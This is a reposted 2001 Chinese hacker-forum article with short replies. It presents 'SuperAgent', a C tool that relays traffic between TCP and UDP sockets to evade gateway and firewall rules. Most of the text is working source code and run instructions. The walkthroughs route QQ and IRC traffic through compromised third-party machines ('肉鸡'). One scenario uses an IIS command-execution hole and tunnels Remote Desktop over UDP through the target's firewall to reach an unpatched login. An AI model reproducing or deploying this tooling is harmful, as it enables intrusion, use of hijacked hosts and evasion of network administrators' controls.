通过TCP和UDP socket数据转发突破限制

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孙路

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Apr 1, 2010, 3:51:51 AM4/1/10
to mylinu...@googlegroups.com
楼主gugu(没有岁月的日子)2001-08-08 12:42:15 在 Windows专区 / 安全技术/病毒 提问
作者: eyas 发表日期: 2001-06-12 13:53:49 返回《黑客也是侠》 快速返回

<<第三部分:通过TCP和UDP socket数据转发突破限制>>

  OK!我们在第一部分后面提到一种情况,网管在网关设置,把UDP包全部丢弃,限制我们使用QQ。这时候,我们要突破就比较麻烦一点了,不过还是有办法
的,前提是允许TCP数据通过。这样我们可以用TCP和UDP
socket数据转发来突破,为此我写了个小程序来实现此功能,程序代码和注释附在后面。程序名称为SuperAgent,xixi,我们先来看看此程序
的用法:

E:\ >SuperAgent.exe


SuperAgent use for TCP and UDP socket data redird


Power by ey4s<ey...@21cn.com>


http://eyas.3322.net


2001/6/7


usage: SuperAgent.exe <mode>


[mode]


    -t <TargetIP> <TargetTCPPort> <LocalUDPPort>


    -u <TargetIP> <TargetUDPPort> <LocalUDPPort> <LocalTCPPort>


    此程序有两种工作模式:


    <1>工作模式[-t],提供三个参数,目标IP地址,目标监听的TCP端口,和本地监听的UDP端口。


    <2>工作模式[-u],提供四个参数,目标IP地址,目标监听的UDP端口,本地监听的UDP端口,本地监听的TCP端口。

    OK!如果我们需要顺利的突破网关上QQ,我们需要一台互联网上的肉鸡的协助。假设我们的肉鸡的IP是202.202.202.202,我们的网关的IP
是101.101.101.101,咱的机器在内网的IP为192.168.0.81,腾讯的QQ的服务器的IP是202.104.129.253,监听
的是UDP8000 端口。我们先在肉鸡运行SuperAgent,如下:

E:\>SuperAgent -u 202.104.129.253 8000 4000 1234

OK!Work mode is [u].

Listen TCP 127.0.0.1:1234 ok!

************OK!SuperAgent working now**************

Wait for ey4s connect to me......:)

 然后在本地运行SuperAgent,如下:

E:\>SuperAgent.exe -t 202.202.202.202 1234 8000

OK!Work mode is [t].

************OK!SuperAgent working now**************

Bind UDP port 8000 ok.

Wait for UDP socket have data to be recv.

   然后启动QQ,把服务器地址设置为127.0.0.1,端口8000,上线。怎么样?虽然网管封杀了全部UDP包,但我们还是可以上QQ了吧?哈哈哈哈~不过这样QQ收发信息都是通过服务器中转的,呵呵。

    OK!我来解释一下流程。

    <1>肉鸡运行SuperAgen.exet后,监听TCP 1234端口,然后阻塞,直到本地运行的SuperAgent.exe连接上来。

    <2>本地运行SuperAgent.exe后,监听UDP 8000端口,伪装成QQ的服务器,阻塞,直到QQ连接上来。

    <3>QQ请求上线,发送数据到我们伪装的QQ Server 127.0.0.1:8000


<4>本地运行的SuperAgent.exe收到QQ发送过来的UDP数据后,连接到肉鸡监听的TCP 1234端口


<5>本地的SuperAgent把UDP数据通过TCP socket发送到肉鸡


<6>肉鸡接收到本地发送来的TCP数据后,通过UDP socket转发到真正的QQ Server


<7>肉鸡接收真正的QQ Server发送回来的数据后,通过TCP socket发送到本地的TCP socket


<8>本地的TCP socket接收到肉鸡发送过来的TCP socket数据后,通过UDP socket转发到QQ


<9>重复5-8步骤


嗯!我表达的好像很不清楚。:((没有办法啦,水平有限的很,各位将就吧,呵呵。

OK!第一种情况是允许TCP数据通过,封闭所有UDP数据。我们来看第二种情况,封闭所有TCP数据,只允许UDP数据。这时候可能有人要问:要是
TCP和UDP数据都不让通过,那怎么办?呵呵,TCP和UDP全部禁止,这叫网关吗?真这样的话,我们还是洗洗回家睡觉吧,呵呵。不过如果ICMP允许
的话,可以用ICMP来转发的,呵呵。

继续说第二种情况的解决办法。我们还是利用SuperAgent这个程序来达到我们的目的,当然少不了一台互联网上的肉鸡的协助了。

我们先在本地运行:

E:\>SuperAgent.exe -u 202.202.202.202 5000 6000 6667

OK!Work mode is [u].

Listen TCP 127.0.0.1:6667 ok!

************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
202.202.202.202是肉鸡的IP,5000是肉鸡监听的UDP端口,6000是本地用来于肉鸡通讯的UDP端口,这个可以随便填,最后面那个
6667 是本地监听的TCP端口,这个也可以随便填,一会儿在HIRC里面设置服务器里面填为和这个一致就可以了。


然后我们在肉鸡上这样运行:

E:\>SuperAgent.exe -t 202.109.72.40 6667 5000


OK!Work mode is [t].


************OK!SuperAgent working now**************


Bind UDP port 5000 ok.


Wait for UDP socket have data to be recv.


202.109.72.40是irc.sunnet.org的IP,6667是他监听的TCP
端口,这是真正的IRC服务器。5000是肉鸡监听的UDP端口。


OK!启动HIRC,服务器地址填上127.0.0.1:6667,上线了吧?哈哈。


工作流程:


<1>本地SuperAgent监听TCP 6667端口,阻塞,直到HIRC连接上来


<2>肉鸡SuperAgent监听UDP 5000端口,阻塞,直到本地的SuperAgent有数据发送过来


<3>HIRC连接到本地伪装的IRC Server的TCP6667


<4>本地SuperAgent接收到HIRC发送来的TCP数据后,通过UDP socket转发到肉鸡监听的UDP socket


<5>肉鸡监听的UDP socket接收到本地发送过来的数据后,连接到真正的IRC Server的TCP
端口,然后通过TCP socket把数据发送到IRC server


<6>肉鸡接收IRC Server返回的TCP 数据,通过UDP socket转发到本地的UDP


<7>本地接收到UDP数据后,通过TCP socket转发到HIRC


<8>重复4-7,第5步连接到IRC Server的TCP 端口的不重复

    用TCP和UDP
socket数据转发有时候也可以用来突破防火墙的。不知道各位看过我写的<<突破TCP-IP过滤-防火墙进入内网>>没有?
其实这个程序的利用可以说是这个系列的第三。这个思路早就有的,而且程序当时也写出来过,不过很苯,现在的是经过优化的版本。当然,我水平实在太菜,程序
还是写的很烂,请各位多指教。


    OK!我们来看看这种情况。以下是网络拓朴图:


   假设:[其实这样情况我遇到过,但没有以下说的复杂而已]


    202.2.2.2是我们授权入侵的目标,前面的FireWall的过虑规则是只允许外面访问202.2.2.2的80,不允许202.2.2.2TCP
连接出去,UDP数据包不做过滤。经过我们检测发现202.2.2.2的IIS有漏洞,我们可以通过80执行命令,而且打开了TermService服
务,登录验证漏洞没有补。但是由于有FW的阻挡,所以我们是连接不上目标的TermService来取得admin
权限的。而且FW不允许TCP反向连接,这样,我们只能通过UDP和TCP
socket数据转发来达到目的了。[实际上我遇到的情况是允许TCP反向连接,详细情况见<<突破TCP-IP过滤-防火墙进入内网
(二)>>,在我的主页上]


    OK!这次我们不需要肉鸡的协助了,呵呵。我们先在本机192.168.0.2上运行:


E:\>SuperAgent.exe -u 202.2.2.2 5000 6000 3389


OK!Work mode is [u].


Listen TCP 127.0.0.1:3389 ok!


************OK!SuperAgent working now**************


Wait for ey4s connect to me......:)


    202.2.2.2是目标的IP,5000是目标IP监听的UDP端口,6000是本地监听的UDP端口,3389是本地监听TCP端口,伪装成TermService


    然后我们在目标上通过80运行SuperAgent.exe -t 127.0.0.1 3389
5000,参数就不用解释了吧。我来说说工作流程:


    <1>本地监听TCP 3389端口,阻塞,知道TermClient连接上来


<2>在目标机器上监听UDP 5000端口,阻塞,直到有UDP数据发送过来


<3>用TermClient连接本地的3389


<4>本地的SuperAgent把从TermClient接收到的TCP数据,通过UDP socket发送到目标的UDP


<5>目标的UDP socket接收到数据后,连接到本地的TCP 3389,真正的TermService


<6>目标把接收到的UDP数据通过TCP socket转发给TermSerivice


<7>目标接收TermService返回的TCP数据,通过UDP socket发送到攻击者的UDP


<8>本地的UDP socket接收到目标UDP发送过来的数据后,通过TCP socket转发给TermClient


<9>重复4,6,7,8


    OK!启动TermClient,连接本地的3389,出来的是防火墙后面的目标的终端服务的界面吧?哈哈哈哈。

    OK!SuperAgent的完整的C程序代码如下,我加了很多注释,别嫌偶烦哦,写的烂,请多指教:))


/******************************************************************************


Module:SuperAgent.c


Author:ey4s<ey...@21cn.com>


WEB:http://eyas.3322.net


Date:2001/6/6


用途:<1>在网关封闭了所有UDP数据包的情况下,通过TCP socket来转发数据,可以用来上QQ


    <2>在网关封闭了所有TCP数据包的情况下,通过UDP socket来转发数据,可以用来上IRC


    <3>在防火墙禁止了TCP往外的连接的情况下,通过UDP socket来转发数据,可以绕过FW


       这个版本只能供单用户使用,稍微修改就可以供多用户同时使用,我偷懒:)))有兴趣的


       人自己去修改吧,呵呵。BTW:不高兴去设置发送,接收,连接等的超时了,反正自己


       测试用还行,hoho~_*


******************************************************************************/


#include <stdio.h>


#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")


#define BuffSize 20*1024 //缓冲区大小20k


///////////////////////////////////////////////////////////////////////////////////////


/*如果模式为t,那么此地址结构是UDP Client的地址,此地址在接收到UDP Client数据后填充


 如果模式为u,那么此地址结构为Target的地址*/


struct sockaddr_in UDPRecv;


BOOL bUDPRecvOK=FALSE;//上面的数据填充与否的标志


///////////////////////////////////////////////////////////////////////////////////////


//显示错误信息函数


void ShowError(char *);


//从TCP socket接收数据,通过UDP socket发送出去


DWORD WINAPI T2URedird(LPVOID);


//从UDP socket接收数据,通过TCP socket发送出去


DWORD WINAPI U2TRedird(LPVOID);


//帮助信息函数


void usage(char *);


///////////////////////////////////////////////////////////////////////////////////////


int main(int argc,char **argv)


{


    int iRet;


    BOOL bT;//此值为TRUE表示工作在t模式,为FALSE表示工作在u模式


    char szTargetIP[40]={0};


    int iLocalTCPPort,iLocalUDPPort,iTargetPort;


    struct sockaddr_in UDPLocal,TCPLocal,Target;


    SOCKET sListen,s[2];//s[0]=>UDP socket s[1]=>TCP socket


    HANDLE hThread[2]={NULL,NULL};


    DWORD dwThreadID,dwRet;


    WSADATA wsd;

    //判断参数个数


    if((argc<5) || (argc>6))


    {


       usage(argv[0]);


       return 1;


    }

    /*取得参数*/


    //目标ip


    strncpy(szTargetIP,argv[2],sizeof(szTargetIP)-1);


    //目标端口,模式为t为tcp port,模式为u则为udp port


    iTargetPort=atoi(argv[3]);


    //本地监听的udp port


    iLocalUDPPort=atoi(argv[4]);


    //判断模式


    if(strcmp(argv[1],"-t")==0)  bT=TRUE;


    else if(strcmp(argv[1],"-u")==0)


    {


       bT=FALSE;


       //本地监听的TCP port


       iLocalTCPPort=atoi(argv[5]);


    }


    else


    {


       printf("\nmode error.");


       usage(argv[0]);


       return 1;


    }


    printf("\nOK!Work mode is [%c].",argv[1][1]);

    //load winsock library


    if(WSAStartup(MAKEWORD(1,1),&wsd)!=0)


    {


       ShowError("WSAStartup");


       return 1;


    }


    //监听本地UDP port的地址结构


    UDPLocal.sin_family=AF_INET;


    UDPLocal.sin_addr.s_addr=INADDR_ANY;


    UDPLocal.sin_port=htons(iLocalUDPPort);


    //目标地址结构


    Target.sin_family=AF_INET;


    Target.sin_addr.s_addr=inet_addr(szTargetIP);


    Target.sin_port=htons(iTargetPort);


    //如果工作在u模式的话,监听一个TCP port等待客户连接


    if(bT==FALSE)


    {


       //创建一个TCP socket


       sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);


       if(sListen==INVALID_SOCKET)


       {


           ShowError("\nCreate TCP socket");


           WSACleanup();


           return 1;


       }


       //监听本地TCP port的地址结构


       TCPLocal.sin_family=AF_INET;


       TCPLocal.sin_port=htons(iLocalTCPPort);


       TCPLocal.sin_addr.s_addr=htonl(INADDR_ANY);


       //bind socket


       iRet=bind(sListen,(SOCKADDR *)&TCPLocal,sizeof(TCPLocal));


       if(iRet!=0)


       {


           ShowError("bind TCP port");


           closesocket(sListen);


           WSACleanup();


           return 1;


       }


       //listen socket


       if(listen(sListen,1)==SOCKET_ERROR)


       {


           ShowError("listen");


           closesocket(sListen);


           WSACleanup();


           return 1;


       }


       UDPRecv.sin_family=Target.sin_family;


       UDPRecv.sin_addr=Target.sin_addr;


       UDPRecv.sin_port=Target.sin_port;


       bUDPRecvOK=TRUE;


       printf("\nListen TCP 127.0.0.1:%d ok!",iLocalTCPPort);


    }


    //开始循环


    while(1)


    {


       __try


       {


           printf("\n\n************OK!SuperAgent working
now**************\n\n");


           //如果工作模式是U的话,accept阻塞直到有客户连接


           if(bT==FALSE)


           {


              struct sockaddr_in addr;


              int iSize=sizeof(addr);


              //阻塞到客户连接


              printf("\nWait for ey4s connect to me......:)");


              s[1]=accept(sListen,(struct sockaddr *)&addr,&iSize);


              if(s[1]==INVALID_SOCKET)


              {


                  ShowError("accept");


                  __leave;


              }


              printf("\nAccept ey4s %s:%d connect to
me.",inet_ntoa(addr.sin_addr),ntohs(addr.sin_port));


           }


           //创建一个UDP socket


           s[0]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);


           if(s[0]==INVALID_SOCKET)


           {


              ShowError("\nCreate UDP socket");


              __leave;


           }


           //bind UDP socket


           iRet=bind(s[0],(struct sockaddr
*)&UDPLocal,sizeof(UDPLocal));


           if(iRet==SOCKET_ERROR)


           {


              printf("\nBind UDP port %d
failed.",iLocalUDPPort);


              __leave;


           }


           else


              printf("\nBind UDP port %d ok.",iLocalUDPPort);


           //如果工作模式是T的话,用select阻塞直到UDP socket有数据可读


           //然后才TCP connect到Target监听的TCP Port


           if(bT==TRUE)


           {


              fd_set fdRead;


              int ret=-1;


              printf("\nWait for UDP socket have data
to be recv.");


              FD_ZERO(&fdRead);


              FD_SET(s[0],&fdRead);


              if((ret=select(0,&fdRead,NULL,NULL,NULL))==SOCKET_ERROR)


              {


                  ShowError("select");


                  __leave;


              }


              if((ret<=0) || (!FD_ISSET(s[0],&fdRead)))


              {


                  ShowError("select");


                  __leave;


              }


              printf("\nOK!UDP socket active now.");


              //创建一个TCP socket


              s[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);


              if(s[1]==INVALID_SOCKET)


              {


                  ShowError("\nCreate TCP socket");


                  __leave;


              }


              //connect to Target


              while(1)


              {


                  iRet=connect(s[1],(SOCKADDR *)&Target,sizeof(Target));


                  if(iRet!=0)


                  {


                     printf("\nConnect to Target TCP
%s:%d failed.Wait for try again.",szTargetIP,iTargetPort);


                     Sleep(1000);


                  }


                  else


                  {


                     printf("\nConnent to Target TCP
%s:%d ok.",szTargetIP,iTargetPort);


                     break;


                  }


              }


           }


           //创建两个线程进行数据转发,双工


           hThread[0]=CreateThread(NULL,0,T2URedird,(LPVOID)s,0,&dwThreadID);


           if(hThread[0]==NULL)


           {


              ShowError("create thread 1");


              __leave;


           }


           hThread[1]=CreateThread(NULL,0,U2TRedird,(LPVOID)s,0,&dwThreadID);


           if(hThread[1]==NULL)


           {


              ShowError("create thread 2");


              __leave;


           }


           //等待两个线程中的其中一个结束,一个线程结束后立即中断另一个线程


           dwRet=WaitForMultipleObjects(2,hThread,FALSE,INFINITE);


           if(dwRet==WAIT_FAILED)


           {


              ShowError("WaitForMultipleObjects");


              __leave;


           }


           if((dwRet-WAIT_OBJECT_0)==0)


              TerminateThread(hThread[1],1);


           else


              TerminateThread(hThread[0],1);


       }//end of try


       __finally


       {


           if(s[0]!=INVALID_SOCKET) closesocket(s[0]);


           if(s[1]!=INVALID_SOCKET) closesocket(s[1]);


           if(hThread[0]!=NULL) CloseHandle(hThread[0]);


           if(hThread[1]!=NULL) CloseHandle(hThread[1]);


       }//end of finally


       printf("\n\n**************OK!SuperAgent shutdown
now******************\n\n");


       Sleep(1);


    }//end of while


    if(sListen!=INVALID_SOCKET) closesocket(sListen);


    WSACleanup();


    return 0;


}


///////////////////////////////////////////////////////////////////////////////////////


void usage(char *name)


{


    printf("\nSuperAgent use for TCP and UDP socket
data redird"


         "\nPower by ey4s<ey...@21cn.com>"


         "\nhttp://eyas.3322.net"


         "\n2001/6/7"


         "\n\nusage: %s <mode>"


         "\n[mode]"


         "\n\t-t <TargetIP> <TargetTCPPort> <LocalUDPPort>"


         "\n\t-u <TargetIP> <TargetUDPPort>
<LocalUDPPort> <LocalTCPPort>\n",name);


}


///////////////////////////////////////////////////////////////////////////////////////


void ShowError(char *msg)


{


    printf("\n%s failed:%d",msg,GetLastError());


}


///////////////////////////////////////////////////////////////////////////////////////


//


//从sock[1]=>TCP socket读


//往sock[0]=>UDP socket写


//


DWORD WINAPI T2URedird(SOCKET *sock)


{


    int iRet,


       ret=-1,//select 返回值


       iLeft,


       idx,


       iUDPRepeat=3,//UDP发送失败后重复的次数


       iSTBCS=0;//STBCS=SendToBuffCurrentSize


    char szSendTo[BuffSize]={0},


       szRecvFrom[BuffSize]={0};


    fd_set fdread,fdwrite;


    DWORD dwThreadID=GetCurrentThreadId();

    //开始一个循环来转发数据


    while(1)


    {


       FD_ZERO(&fdread);


       FD_ZERO(&fdwrite);


       FD_SET(sock[1],&fdread);


       FD_SET(sock[0],&fdwrite);


       if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)


       {


           ShowError("select");


           break;


       }


       if(ret>0)


       {


           //sock[1]可读


           if(FD_ISSET(sock[1],&fdread))


           {


              //接收sock[1]发送来的数据


              iRet=recv(sock[1],szRecvFrom,BuffSize,0);


              if(iRet==SOCKET_ERROR)


              {


                  ShowError("recv");


                  break;


              }


              else if(iRet==0)


                  break;


              printf("\nTCP Thread %d recv %d
bytes.",dwThreadID,iRet);


              //把从sock[0]接收到的数据存添加到sock[1]的缓冲区


              memcpy(szSendTo+iSTBCS,szRecvFrom,iRet);


              //刷新sock[1]的数据缓冲区当前buff大小


              iSTBCS+=iRet;


              //清空接收sock[0]数据的缓冲区


              memset(szRecvFrom,0,BuffSize);


           }


           //sock[0]可写,把从cRecvFrom接收到的数据发送到sock[0]


           if(FD_ISSET(sock[0],&fdwrite))


           {


              iLeft=iSTBCS;


              idx=0;


              while(iLeft>0)


              {

iRet=sendto(sock[0],&szSendTo[idx],iLeft,0,(SOCKADDR
*)&UDPRecv,sizeof(UDPRecv));


                  if(iRet==SOCKET_ERROR)


                  {


                     ShowError("sendto");


                     //重复发送次数自减一


                     if((iUDPRepeat--)==0)


                         break;


                     printf("\nTry %d times to
send.",iUDPRepeat);


                     continue;


                  }


                  printf("\nUDP Thread %d sendto %s:%d
%d bytes.",

dwThreadID,inet_ntoa(UDPRecv.sin_addr),ntohs(UDPRecv.sin_port),iRet);


                  iLeft-=iRet;


                  idx+=iRet;


              }


              if(iLeft==0)


              {


                  //清空缓冲区


                  memset(szSendTo,0,BuffSize);


                  //重置发往target的数据缓冲区当前buff大小


                  iSTBCS=0;


              }


           }


       }//end of select


       Sleep(1);


    }//end of while


    return 0;


}


///////////////////////////////////////////////////////////////////////////////////////


//


//往sock[1],TCP socket写


//从sock[0],UDP socket读


//


DWORD WINAPI U2TRedird(SOCKET *sock)


{


    int iRet,


       ret=-1,//select 返回值


       iLeft,


       idx,


       iSTBCS=0;//STBCS=SendToBuffCurrentSize


    char szSendTo[BuffSize]={0},


       szRecvFrom[BuffSize]={0};


    fd_set fdread,fdwrite;


    DWORD dwThreadID=GetCurrentThreadId();


    struct sockaddr_in from;


    DWORD dwSize=sizeof(from);

    //开始一个循环来转发数据


    while(1)


    {


       FD_ZERO(&fdread);


       FD_ZERO(&fdwrite);


       FD_SET(sock[0],&fdread);


       FD_SET(sock[1],&fdwrite);


       if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)


       {


           ShowError("select");


           break;


       }


       if(ret>0)


       {


           //sock[0]可读


           if(FD_ISSET(sock[0],&fdread))


           {


              //接收sock[0]发送来的数据

iRet=recvfrom(sock[0],szRecvFrom,BuffSize,0,(SOCKADDR
*)&from,&dwSize);


              if(iRet==SOCKET_ERROR)


              {


                  ShowError("recvfrom");


                  break;


              }


              else if(iRet==0)


                  break;


              if(bUDPRecvOK!=TRUE)


              {


                  UDPRecv.sin_family=AF_INET;


                  UDPRecv.sin_addr=from.sin_addr;


                  UDPRecv.sin_port=from.sin_port;


                  bUDPRecvOK=TRUE;


              }


              printf("\nUDP Thread %d recvfrom %s:%d
%d bytes.",

dwThreadID,inet_ntoa(from.sin_addr),ntohs(from.sin_port),iRet);


              //把从sock[0]接收到的数据存添加到sock[1]的缓冲区


              memcpy(szSendTo+iSTBCS,szRecvFrom,iRet);


              //刷新sock[1]的数据缓冲区当前buff大小


              iSTBCS+=iRet;


              //清空接收sock[0]数据的缓冲区


              memset(szRecvFrom,0,BuffSize);


           }


           //sock[1]可写,把从sock[0]接收到的数据发送到sock[1]


           if(FD_ISSET(sock[1],&fdwrite))


           {


              iLeft=iSTBCS;


              idx=0;


              while(iLeft>0)


              {


                  iRet=send(sock[1],&szSendTo[idx],iLeft,0);


                  if(iRet==SOCKET_ERROR)


                  {


                     ShowError("send");


                     break;


                  }


                  printf("\nTCP Thread %d send %d
bytes.",dwThreadID,iRet);


                  iLeft-=iRet;


                  idx+=iRet;


              }


              //清空缓冲区


              memset(szSendTo,0,BuffSize);


              //重置发往target的数据缓冲区当前buff大小


              iSTBCS=0;


           }


       }//end of select


       Sleep(1);


    }//end of while


    return 0;


}


////////////////////////////////////////////////////////////////////////////////////////////////


   程序在VC++6.0,Windows2k上编译通过,编译好的版本在http://eyas.3322.net有下载。


好了,废话说了一大堆,终于写完了,各位骂我可以,但请别拿西红柿,臭鸡蛋之类的物体砸偶才是,呵呵:)))


 前方啊 没有方向
 身上啊 没有了衣裳
 鲜血啊 渗出了翅膀
 我的眼泪 湿透了胸膛
 孤独的雏鹰飞翔着 强忍着伤


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回应人: boyren 发表日期: 2001-06-13 00:39:37

看地爽!!!

 我们可以欺骗别人
 却无法欺瞒自己
 当我们走向枝繁叶茂的月            (  ,,,,
 青春就不在是一个谜                /  '
                        ; |@@-/
 向上的路                   ) |c D
 总是坎坷又崎岖                '====u |
 要永远保持最初的浪漫               \-/'.
 真是不容易                    |_ \
                           |U \\
 有人悲哀                     (__,//
 有人欣喜                     |. \/
 当我们跨越了一座高山                LL__I
 也就是跨越了一个真实自己              |||
                           |||
                          ,,-``'\
我将于2001年6月30日离开南航


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回应人: inportb 发表日期: 2001-06-13 11:09:11

俺正在想研究QQ的数据格式,
封UDP太弱啦!那样多少网络游戏同时也。。。。完啦!

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回应人: 巴黎王子 发表日期: 2001-06-20 13:49:05

我这才知道什么叫条条大道通骡马!一条路走不通,可以换另一条,直着走不行,可以绕着走,呵呵!谢谢楼顶的大虾了!

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